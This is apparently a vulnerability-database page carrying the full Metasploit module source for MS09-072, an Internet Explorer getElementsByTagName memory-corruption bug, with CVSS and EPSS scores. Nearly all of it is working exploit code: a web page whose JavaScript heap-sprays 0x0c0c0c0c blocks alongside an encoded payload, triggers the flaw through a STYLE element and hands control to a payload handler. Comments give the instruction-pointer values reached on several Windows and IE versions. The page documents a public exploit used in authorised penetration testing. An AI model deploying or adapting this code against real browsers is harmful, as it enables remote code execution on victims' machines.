MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption

2009-12-0915:06:26

securitylab.ir <[email protected]>, jduck <[email protected]>

www.rapid7.com

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.769

Percentile

98.3%

JSON

This module exploits a vulnerability in the getElementsByTagName function as implemented within Internet Explorer.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  #
  # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
  #
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #	:ua_name    => HttpClients::IE,
  #	:ua_minver  => "6.0",
  #	:ua_maxver  => "7.0",
  #	:javascript => true,
  #	:os_name => OperatingSystems::Match::WINDOWS,
  #	:vuln_test  => nil, # no way to test without just trying it
  #	:rank       => LowRanking  # exploitable on ie7/vista
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption',
      'Description'    => %q{
        This module exploits a vulnerability in the getElementsByTagName function
      as implemented within Internet Explorer.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'securitylab.ir <K4mr4n_st[at]yahoo.com>',
          'jduck'
        ],
      'References'     =>
        [
          ['MSB', 'MS09-072'],
          ['CVE', '2009-3672'],
          ['OSVDB', '50622'],
          ['BID', '37085'],
          ['URL', 'https://web.archive.org/web/20090316061713/http://taossa.com/archive/bh08sotirovdowd.pdf'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'          => 'process',
          'HTTP::compression' => 'gzip',
          'HTTP::chunked'     => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'Compat'   =>
            {
              'ConnectionType' => '-find',
            },
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => '2009-11-20',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)

    # resulting eips:
    # 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203)
    # 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848)
    # nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13)
    # 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470)
    # 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825)

    print_status("Entering heap spray mode")

    var_memory    = rand_text_alpha(rand(100) + 1)
    var_boom      = rand_text_alpha(rand(100) + 1)
    var_body      = rand_text_alpha(rand(100) + 1)
    var_unescape  = rand_text_alpha(rand(100) + 1)
    var_shellcode = rand_text_alpha(rand(100) + 1)
    var_spray     = rand_text_alpha(rand(100) + 1)
    var_start     = rand_text_alpha(rand(100) + 1)
    var_i         = rand_text_alpha(rand(100) + 1)
    var_ss        = rand_text_alpha(rand(100) + 1)
    var_fb        = rand_text_alpha(rand(100) + 1)
    var_bk        = rand_text_alpha(rand(100) + 1)

    html = %Q|<!DOCTYPE>
<head>
<script language=javascript>
function #{var_boom}(){ document.getElementsByTagName('STYLE')[0].outerHTML++; }
function #{var_body}(){
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
var #{var_ss} = 20 + #{var_shellcode}.length;
while (#{var_spray}.length < #{var_ss}) #{var_spray}+=#{var_spray};
#{var_fb} = #{var_spray}.substring(0,#{var_ss});
#{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss});
while(#{var_bk}.length+#{var_ss} < 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb};
var #{var_memory} = new Array();
for (#{var_i}=0;#{var_i}<1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode};
#{var_boom}();
}
</script>
<STYLE>* { margin: 0; overflow: scroll }</STYLE>
<BODY ONLOAD="#{var_body}()">
</body>
</html>
|

    # Transmit the response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

    # Handle the payload
    handler(cli)
  end
end